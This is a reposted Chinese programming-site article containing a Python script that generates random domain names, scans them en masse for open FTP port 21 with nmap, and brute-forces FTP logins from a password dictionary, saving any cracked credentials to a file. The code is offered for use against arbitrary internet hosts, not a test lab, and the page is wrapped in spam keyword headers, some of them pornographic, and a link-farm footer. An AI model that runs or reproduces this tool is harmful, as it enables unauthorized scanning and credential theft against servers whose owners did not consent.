国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 開發(fā)設(shè)計(jì) > 正文

使用python掃描隨機(jī)生成的域名開放端口 ,并嘗試暴力破解FTP服務(wù)

2019-11-14 11:27:59
字體:
供稿:網(wǎng)友

本代碼屬于使用python3.4版本  主要是交流  高手勿噴!!

#!/usr/bin/python# -*- coding: utf-8 -*- import nmap   # 需要使用nmap端口掃描工具的支持     這里不僅要安裝nmap的python包  還要安裝nmap的windows的應(yīng)用程序    python包 直接使用pip安裝即可    至于nmap for windows 的版本如何安裝 請(qǐng)直接度娘  from socket import *import threading import sys,random,timeimport string,osimport configparser   ### 配置文件包"""端口掃描工具  并且判斷如果端口21打開 嘗試暴力破解FTP"""screenLock = threading.Semaphore(value=1)def bruteLogin(hostname, passwdFile):    """嘗試破解FTP"""    pF = open(passwdFile, 'r')    for line in pF.readlines():        time.sleep(1)        userName = line.split(' ')[0]        passWord = line.split(' ')[1].strip('/r').strip('/n')       # PRint ("[+] 嘗試攻擊:%s      "%hostname+userName+"/"+passWord)       # print("[-]主機(jī):",hostname)##                try:            ftp = ftplib.FTP(hostname)            ftp.login(userName, passWord)            print( '/n[*] ' + str(hostname) +/          ' FTP 賬號(hào)和密碼是: '+userName+"/"+passWord)                         ftp.quit()            return (userName, passWord)        except Exception:            pass ##嘗試失敗 重試中                print( '/n[-]FTP %s攻擊失敗!.'%hostname)    return (None, None)    def nmapScan(tgtip,tgtPort,tgtHost):         nmScan = nmap.PortScanner()    try:        nmScan.scan(tgtip,tgtPort)                 state=nmScan[tgtip]['tcp'][int(tgtPort)]['state']    except :        return None    return state     def portScan(tgtHost, tgtPorts):       try:        tgtIP = gethostbyname(tgtHost)           except:                return     try:        tgtName = gethostbyaddr(tgtIP)   ## 這里是反向查詢ip地址對(duì)應(yīng)的DNS 主機(jī)名     except :        tgtName  = None                       setdefaulttimeout(1)         scan = {}    for tgtPort in tgtPorts:          state = nmapScan(tgtIP,str(tgtPort),tgtHost)        if state =="open":  ### 發(fā)現(xiàn)開放端口 就在字典中寫入            if tgtHost not in scan :                scan[tgtHost] = []                                 scan[tgtHost].append(str(tgtPort))            else:                                 scan[tgtHost].append(str(tgtPort))                                         if len(scan)>0:  ## 從字典中導(dǎo)出   根據(jù)字典中的數(shù)據(jù)寫配置文件        config =configparser.ConfigParser()        config.add_section(tgtHost)        config.set(tgtHost,"IP",tgtIP)                 if tgtName!=None:            config.set(tgtHost,"主機(jī)名",tgtName[0])        else:            config.set(tgtHost,"主機(jī)名","未知")        print("當(dāng)前線程數(shù): %d    當(dāng)前掃描主機(jī)%s開放的端口有:"%(threading.activeCount()-1,tgtHost),scan[tgtHost])        for x in scan[tgtHost]:            config.set(tgtHost,"端口%s  "%x,"  isopen")        cfgfile = open('IpConfig.ini','a')        config.write(cfgfile)        cfgfile.close()        if "21" in scan[tgtHost]:            print( '/n[+]FTP %s開始攻擊!.'%tgtIP)            passwdFile = 'userpass.txt'     ##設(shè)置ftp弱口令的用戶名和密碼字典    字典存放的規(guī)則是 用戶名加空格加密碼后換行  類似于: username password/n            res = bruteLogin(tgtIP, passwdFile)            if res[0]!=None:                ftp = open("ftp.txt","a")                ftp.write(tgtIP+"   :   userName = "+res[0]+"    password = "+res[1])                ftp.close()                                                                                                              def gethost(x):       lis = ['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','1','2','3','4','5','6','7','8','9','0']    s=''    s =  (s.join(random.sample(lis, x))).replace(" ","")             ss = [s+".cn",s+".cc",s+".com",s+".net",s+".pw",s+".wang",s+".vip",s+".tv",s+".org",s+".pub"]    return (s,ss)             def main():     driver = "D://Python34//nmap"    os.environ['PATH']=os.environ['PATH']+';'+driver    ho =[]    for x in range(12000):        while True:   ##這里是一個(gè)避免重復(fù)的排除方式            hos,Host =gethost(4)  ###這里是隨機(jī)域名             if hos not in ho:                ho.append(hos)                   break            else:                continue                                                    ##        21/tcp FTP 文件傳輸協(xié)議 ##        22/tcp SSH 安全登錄、文件傳送(SCP)和端口重定向 ##        23/tcp Telnet 不安全的文本傳送 ##        25/tcp SMTP Simple Mail Transfer Protocol (E-mail) ##        69/udp TFTP Trivial File Transfer Protocol ##        79/tcp finger Finger ##        80/tcp HTTP 超文本傳送協(xié)議 (WWW) ##        88/tcp Kerberos Authenticating agent ##        110/tcp POP3 Post Office Protocol (E-mail) ##        113/tcp ident old identification server system ##        119/tcp NNTP used for usenet newsgroups ##        220/tcp IMAP3 ##        443/tcp HTTPS used for securely transferring web pages##        3389/tcp windows服務(wù)器遠(yuǎn)程桌面端口##        445/tcp 共享打印機(jī)端口##        139/tcp 被用于Windows"文件和打印機(jī)共享"和SAMBA         Port = [21,]  ##需要掃描的端口   這里 是掃描了ftp服務(wù)器 所以為了效率 全部只掃描21號(hào)端口        for x in Host:            t = threading.Thread(target=portScan,args=(x,Port))  ###開啟線程 掃描隨機(jī)的域名             t.start()        while True:            if threading.activeCount()-1>100:  ## 這里做了一個(gè)緩沖 限制了最大擁有100多個(gè)線程                time.sleep(1)            else:                break                            if __name__ == '__main__':    main()


發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 凭祥市| 安顺市| 棋牌| 英吉沙县| 彭水| 天峨县| 桓仁| 武宁县| 革吉县| 三门县| 西林县| 泽库县| 南皮县| 磐石市| 德兴市| 正阳县| 邵阳市| 宣城市| 嘉义市| 清新县| 柳州市| 大洼县| 彭阳县| 什邡市| 南昌市| 湟中县| 阜平县| 潼关县| 丰原市| 喀什市| 西和县| 藁城市| 钟山县| 邳州市| 克山县| 娱乐| 公安县| 扎囊县| 凉山| 清原| 凉山|